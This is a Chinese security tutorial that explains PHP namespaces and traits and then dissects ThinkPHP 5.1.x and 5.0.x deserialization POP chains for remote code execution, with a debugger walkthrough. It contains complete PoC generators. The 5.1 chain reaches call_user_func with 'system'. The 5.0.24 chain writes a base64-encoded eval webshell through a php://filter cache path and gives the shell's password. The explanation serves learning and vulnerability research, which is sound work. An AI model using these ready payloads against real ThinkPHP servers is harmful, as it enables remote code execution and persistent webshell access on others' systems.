嗯、说在前面
最近在学Java,但是回过头看PHP发现还有一些框架没有去深究,比如这个ThinkPHP,然后虽然网上很多poc,但那也只是poc,你不知道流程和构造链单纯知道个反序列化,我改点东西不就没了
然后也是发现其实网上的文章大部分讲的也不是很好,甚至有一些错误,这里我就边学习边纠正,尽量是能让新人也能够看懂ThinkPHP反序列化漏洞和一些RCE链子
然后在学习之前确保你有以下基础:
因为这些是基础中的基础
一、基础知识 | PHP中的namespace
namespace实际上就是命名空间,在php类与对象这一章节中用到了命名空间这个概念,我也是没有看到这个考点出现在比赛题中,并且也没有一些文章去透彻的分析它,因此这是一个比较重要的基础知识点,我在这里就给他总结一下
(1)命名空间和子命名空间
我们可以把namespace理解为一个单独的空间,事实上它也就是一个空间而已,子命名空间那就是空间里再划分几个小空间,这样说很抽象,我举几个例子来理解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php namespace animal\cat; class cat{ public function __construct() { echo "meow"."\n"; } } namespace animal\dogA; class dog{ public function __construct() { echo "A:wooffff"."\n"; } } namespace animal\dogB; class dog { public function __construct() { echo "B:wooffff"."\n"; } } new dog();
new \animal\dogA\dog(); use animal\dogA; new dogA\dog(); use animal\dogA as alias; new alias\dog();
use animal\cat\cat; new cat();
|
在上面的例子中animal
是一个命名空间,animal\cat animal\dogA animal\dogB
都是其子命名空间,可以看到这样一共就存在三个命名空间,而使用各个命名空间的方法就是将命名空间的名字写完整
而use是什么意思呢?其实和include和require有点像,就是在当前命名空间引入其他命名空间的别名,比如use animal\dogA as alias
其中的alias就是别名。use animal\cat\cat
这句话就是直接指定了animal\cat命名空间的cat类了,我们只需要直接new就可以创建cat对象,不需要在前面加命名空间
(2)类的继承
这其实不是namespace里的知识,但是由于见的比较少,所以放在这里一起讲了,PHP类的继承是通过extend
关键字来实现的,这里也比较简单,看一个例子就知道了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php class father{ public $name="Json"; private $age=30; public $hobby="game"; public function say(){ echo "i am father \n"; } public function smoke(){ echo "i got smoke \n"; } } class son extends father{ public $name="Boogipop"; private $age=19; public function say() { echo "i am son \n"; } public function parentsay(){ parent::say(); } } $son=new son(); $son->say(); $son->smoke(); $son->parentsay(); echo $son->hobby;
|
上述例子中son继承了father,可以看到属性和方法也被继承下来了,子类可以覆盖父类的方法,子类也可以通过parent::
关键字访问父类被覆盖的方法,一个很简单的demo
(3)trait修饰符
这是本节的重中之重了,trait修饰符使得被修饰的类可以进行复用,增加了代码的可复用性,使用这个修饰符就可以在一个类包含另一个类,具体也是可以看下面几个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php trait test{ public function test(){ echo "test\n"; } }
class impl{ use test; public function __construct() { echo "impl\n"; }
} $t=new impl(); $t->test();
|
我们在impl类中use了test这个类,因此我们可以调用其中的方法,是不是有点像类的继承了,大致意思就是这么个情况
然后这个修饰符也有个好玩的地方,看下面另一个demo:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php namespace np1\A;
use np2\A\Kino;
class Boogipop{ use Kino; public function __construct() { echo "dawn_construct\n"; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php namespace np2\A; require("np1.php"); use np1\A\Boogipop; trait Kino{ public function __toString() { echo "tostring\n"; return ""; } } $a=new boogipop(); echo $a;
|
可以看到由于我们在Boogipop类里面复用了Kino这个类,因此我们一并触发了其tostring方法,这个在tp5反序列化漏洞中也有出现,因此我提一嘴
二、ThinkPHP开发手册
给我好好地学一下ThinkPHP的一些规则
三、ThinkPHP5.1.x反序列化链
(1)环境搭建
- PHP7.3+Xdebug+thinkphp5.1.37+IDEA
该反序列化漏洞属于二次触发漏洞,需要有一个入口,因此我们将控制器中的Index控制器修改一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php namespace app\index\controller;
class Index { public function index($input="") { echo "ThinkPHP5_Unserialize:\n"; unserialize(base64_decode($input)); return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>'; }
public function hello($name = 'ThinkPHP5') { return 'hello,' . $name; } }
|
这里面准备了一个unserialize反序列化入口
(2)POC+效果展示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["boogipop"=>["calc.exe","calc"]]; $this->data = ["boogipop"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [ 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'boogipop']; $this->hook = ["visible"=>[$this,"isAjax"]]; } }
namespace think\process\pipes;
use think\model\Pivot; class Windows { private $files = [];
public function __construct() { $this->files=[new Pivot()]; } } namespace think\model;
use think\Model;
class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
|
POC看起来很短,而分析起来(确实很短),拿到结果后直接在url中命令执行即可:
(3)触发链分析
首先在unserialize函数下断点,之后再浏览器中输入payload:
这是反序列化入口,往下跟一下,观察POC,最外层套的是think\process\pipes\Windows
对象,因此会进入该对象中:
入口是think\process\pipes\Windows
的__destruct
魔术方法,在这里调用了removeFiles
方法,跟进该方法:
在removeFiles方法,用file_exists
方法检测文件是否存在,但是这里我们将filename属性改为了一个think\model]\Pivot
对象,因此会触发它的toString
方法:
可能在这里大家就觉得比较奇怪了,不是说好了是Pivot
对象吗,为什么是Conversion
对象,这里我们就需要回顾到上面说的基础知识了:
首先Conversion被trait进行修饰了,其次我们再观察一下Pivot对象的内部:
它内部是没有toString魔术方法的,但是构造方法中调用的是父类的构造方法,他的父类是Model
对象:
跟进Model对象:
到这里紧皱的眉头突然舒展开来,也就是Model类在它的内部复用了被trait
修饰的Conversion
对象,而Model又是Pivot的父类,因此当Pivot被当成字符串输出时,就会调用Conversion类的toString方法,这一点网上没一篇文章讲到,所以我觉得有必要讲一下的,流程图大概如下:
那么接下来就能继续往下走了,之后就调用了tojson方法:
又调用了toArray:
在这里就有3个点了,先遍历this->append
属性,取出键值对,这里我们poc中对应为:
因此key为boogipop,进入getRelation方法:
由于我$name(boogipop)
不是null,并且我们没给$this->relation
进行赋值,因此直接return一个null回来,接着就进入getAttr
方法:
在里面又调用了getData方法,跟进该方法:
在上述poc中我们将$this->data
赋值为了一个Request
对象,因此return一个Request对象,之后退出该方法回到外面:
这里$relation
经过上述步骤变为Request对象,调用visible方法触发了Request
对象的__call
魔术方法,因为不存在该方法,参数为[calc,calc.exe]
也就是我们自定义的那个键值对:
首先使用array_shift
往之前的[calc,calc.exe]
数组插入$this
也就是Request
对象,之后调用call_user_func_array
方法,其中$this->hook[$method]
就是$this->hook['visible']
,在POC中为isAjax
方法,跟进该方法:
调用Param
方法,参数为我们poc中的boogipop
,跟进该方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public function param($name = '', $default = null, $filter = '') { if (!$this->mergeParam) { $method = $this->method(true);
switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; }
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true; }
if (true === $name) { $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter); }
return $this->input($this->param, $name, $default, $filter);
|
在这个方法中会将GET数组赋值给this->param
属性,然后$name
就是之前说的boogipop,跟进input方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public function input($data = [], $name = '', $default = null, $filter = '') { if (false === $name) { return $data; }
$name = (string) $name; if ('' != $name) { if (strpos($name, '/')) { list($name, $type) = explode('/', $name); }
$data = $this->getData($data, $name);
if (is_null($data)) { return $default; }
if (is_object($data)) { return $data; } }
$filter = $this->getFilter($filter, $default);
if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); if (version_compare(PHP_VERSION, '7.1.0', '<')) { $this->arrayReset($data); } } else { $this->filterValue($data, $name, $filter); }
if (isset($type) && $data !== $default) { $this->typeCast($data, $type); }
return $data; }
|
首先进入getData
方法,在该方法我们可以获取恶意传参:
$name
是上一轮带下来的,也就是boogipop,这里从GET数组获取键名为boogipop
的键值,也就是whoami
,得到whoami后返回,继续进入getFilter
方法获取filter属性:
在param方法中,filter参数为空,因此在这里先为空,然后将this->filter
属性赋值给$filter
变量
然后在$filter
数组追加一个$default
变量,这里为null,不影响,之后就将该filter数组return回去,这时候$filter=['system',null]
:
最后进入filterValue方法,其中各个变量对应红框中的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| private function filterValue(&$value, $key, $filters) { $default = array_pop($filters);
foreach ($filters as $filter) { if (is_callable($filter)) { $value = call_user_func($filter, $value); } elseif (is_scalar($value)) { if (false !== strpos($filter, '/')) { if (!preg_match($filter, $value)) { $value = $default; break; } } elseif (!empty($filter)) { $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter)); if (false === $value) { $value = $default; break; } } } }
return $value; }
|
先用arraypop弹出数组末尾的元素,因此只剩下system
随之调用call_user_func
方法,完成RCE
贴一张其他师傅的图
(4)修复方法
官方直接把Request
中的__call
魔术方法给抹除了,因此链子后半段就断掉了
四、ThinkPHP5.2.x反序列化链
README
5.2属于内测版,找不到下载的资源。。。无法复现
https://xz.aliyun.com/t/6619#toc-2
可以参考这篇文章,实在是找不到5.2版本了
然后好像破案了,5.2貌似就是现在的6.0版本(shit),这部分放到6.0
五、ThinkPHP5.0.x反序列化链
(1)环境搭建
- PHP7.3+Xdebug+thinkphp5.0.24+IDEA
也是像上面一样准备一个二次发序列化入口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php namespace app\index\controller;
class Index { public function index($input="") { echo "ThinkPHP5_Unserialize:\n"; unserialize(base64_decode($input)); return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>'; }
public function hello($name = 'ThinkPHP5') { return 'hello,' . $name; } }
|
访问public:
说明环境正常,接下来就分析链子
(2)漏洞复现
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| <?php
namespace think\process\pipes{ class Windows{ private $files=[];
public function __construct($pivot) { $this->files[]=$pivot; } } }
namespace think\model{ class Pivot{ protected $parent; protected $append = []; protected $error;
public function __construct($output,$hasone) { $this->parent=$output; $this->append=['a'=>'getError']; $this->error=$hasone; } } }
namespace think\db{ class Query { protected $model;
public function __construct($output) { $this->model=$output; } } }
namespace think\console{ class Output { private $handle = null; protected $styles; public function __construct($memcached) { $this->handle=$memcached; $this->styles=['getAttr']; } } }
namespace think\model\relation{ class HasOne{ protected $query; protected $selfRelation; protected $bindAttr = [];
public function __construct($query) { $this->query=$query;
$this->selfRelation=false; $this->bindAttr=['a'=>'admin']; } } }
namespace think\session\driver{ class Memcached{ protected $handler = null;
public function __construct($file) { $this->handler=$file; } } }
namespace think\cache\driver{ class File{ protected $options = [ 'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', 'cache_subdir'=>false, 'prefix'=>'', 'data_compress'=>false ]; protected $tag=true;
} }
namespace { $file=new think\cache\driver\File(); $memcached=new think\session\driver\Memcached($file); $output=new think\console\Output($memcached); $query=new think\db\Query($output); $hasone=new think\model\relation\HasOne($query); $pivot=new think\model\Pivot($output,$hasone); $windows=new think\process\pipes\Windows($pivot);
echo base64_encode(serialize($windows)); }
|
运行POC得到编码,之后在URL上传参进行反序列化,反序列化之后访问[http://localhost/tp5/public/a.php3b58a9545013e88c7186db11bb158c44.php](http://localhost/tp5/public/a.php3b58a9545013e88c7186db11bb158c44.php)
,密码为ccc,即可RCE:
(3)影响版本
在5.0.24和5.0.18可用,5.0.9不可用
(4)POP链分析
这个POC就比5.1的复杂许多,整整有100行,但是前面一部分还是和5.1一样的,首先下断点,然后进行调试:
入口依然是windows的析构方法,然后继续往下走又会到toString:
这里触发的Model类的toString,上面是Conversion类的toString,在5.0版本没有Conversion这个复用类,因此在这里有点小不同,但是方法是一样的因此接下来会和5.1版本一样进入toArray
方法:
这里有四个比较重要的断点,首先是$relation
的赋值,是通过parseName方法完成的,我们跟进
由于这里type传入的值为1所以进入if判断,因此直接返回name(遍历($this->append而得),在这里为getError
:
而Model类有getError这个方法,因此进入了method_exists
判断,然后对$modelRelation
进行了赋值,在这里是通过$this->$relation()
,也就是$this->$getError()
完成的:
在这里返回值可控,我们将其设置为了HasOne对象
这里HasOne先不说为什么是它,然后进入第二个断点也就是对$value
的赋值:
1
| if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
|
看这一段if判断,我们需要满足三个条件
首先我们要知道在toString这一步我们需要做什么,5.1版本是触发了__call方法,那么这里我们也应该寻找能否找到合适的call方法,最后结果就是think\console\Output
类,那么我们应该让这个方法返回一个Output对象,这样在出去之后执行$value->getAttr($attr)
才会触发__call
魔术方法,而该方法中value的值就是$this->parent
,所以第一个条件parent需要为Output对象
对于第二个条件,$modelRelation
我们已经完成了赋值,为HasOne
对象,我们观察一下isSelfRelation
方法:
由于hasone类是Relation类的子类,因此我们对$this->selfRelation
的值可控,只需让他为false即可
最后一个条件需要让Hasone::getModel
返回一个Output对象($this->parent),观察该方法:
调用了$this->query->getModel()
,全局搜索getModel方法,/thinkphp/library/think/db/Query.php
中的getModel方法我们可控:
在这里只需要让this->query==thinkphp/library/thinl/db/Query.php
即可,然后让他的model属性为Output
对象
完成对Value的赋值后退出来,进入第三个断点,进入$modelRelation->getBindAttr()
:
在这里$modelRelation
为Hasone
对象,因此调用它的getBindAttr
方法,跟进:
返回HasOne对象的bindAttr属性,这里我们设置为一个数组["a"=>"admin"]
,这里的admin和结果中的文件名有关
出来后对bindAttr进行了遍历,取出了admin的值,随后准备触发__call方法,这里value为Output对象,attr为admin:
进入__call方法:
用array_shift方法将method和args结合在了一起,随后调用call_user_func_array
方法调用了自己的block方法,跟进该方法:
该方法中又调用自己的writeln
方法,参数为<getAttr>admin</getAttr>
,这是上面2个变量拼贴来的
跟进writeln方法调用write,参数为之前带下来的<getAttr>admin</getAttr>
,另外两个分别为true,0
调用$this->handle->write($messages, $newline, $type)
,全局搜索write方法,最终在Memcached
类找到合适的write方法,因此让Output的handle属性为Memcached
类:
在Memcached
对象的write方法,调用了set方法,再找谁调用了set,最终在think/cache/driver/File
类找到了,因此让Memcache对象的handler属性变为File对象,最后触发它的set方法,参数为上面带下来的:
最终会调用危险函数file_put_contents
,这里存在一个死亡函数绕过,这个在我之前的文章也有写到
不要捉弄我新人同学:F
其中filename是通过getCacheKey
函数获取的
这里的name就是<getAttr>admin</getAttr>
,这也就是为什么一开始说会和文件名有关,md5加密后就拼贴在了一起,其中this->options['path']
是我们可控的,这里让他为php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
可以绕过死亡函数
但是我们要注意,即使可控文件名,但是文件内容$data
,也就是$value
在这一次进入set方法不可控,为默认的true
,因此即使能创建文件也不能写马
继续往下分析会调用
这个filename就是上面拼贴得到的:php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| protected function setTagItem($name) { echo "in "; if ($this->tag) { $key = 'tag_' . md5($this->tag); $this->tag = null; if ($this->has($key)) { $value = explode(',', $this->get($key)); $value[] = $name; $value = implode(',', array_unique($value)); } else { $value = $name; } $this->set($key, $value, 0); } }
|
在该方法中最后又会调用一次set,然后这次value我们可控,就是传进来的name
,也就是filename,这就是死亡函数的第二种形式,文件名和内容一样,在上述文章也有就不分析了,因此在第二次进入set方法成功将马写入
因此一共创建2个文件,第二次创建的文件才是一句话木马:
第二个文件名就是php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php+md5(tag_c4ca4238a0b923820dcc509a6f75849b)+.php